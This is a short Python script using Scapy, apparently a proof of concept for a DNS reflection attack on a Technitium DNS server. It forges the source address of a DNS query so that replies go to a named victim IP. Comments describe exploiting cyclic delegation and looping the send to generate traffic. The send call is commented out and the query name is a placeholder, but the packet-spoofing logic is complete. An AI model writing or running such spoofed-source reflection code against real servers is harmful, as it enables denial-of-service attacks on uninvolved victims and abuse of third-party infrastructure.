python
import scapy.all as scapy
# Configuration
# Target: The vulnerable Technitium DNS Server IP
target_dns = "192.168.1.100"
# Victim: The IP address to receive the amplified traffic
victim_ip = "203.0.113.50"
# Construct IP layer with spoofed source address
ip_layer = scapy.IP(src=victim_ip, dst=target_dns)
# Construct UDP layer (DNS typically uses port 53)
udp_layer = scapy.UDP(sport=12345, dport=53)
# Construct DNS query
# Note: To exploit cyclic delegation, the query name usually needs to be
# crafted based on the specific zone configuration of the target server.
# This example sends a standard query to demonstrate the packet structure.
dns_layer = scapy.DNS(rd=1, qd=scapy.DNSQR(qname="example.com"))
# Combine layers
packet = ip_layer / udp_layer / dns_layer
# Send the packet
# In a real scenario, this would be sent in a loop to generate traffic
print(f"Sending spoofed DNS query to {target_dns} reflecting to {victim_ip}")
# scapy.send(packet)
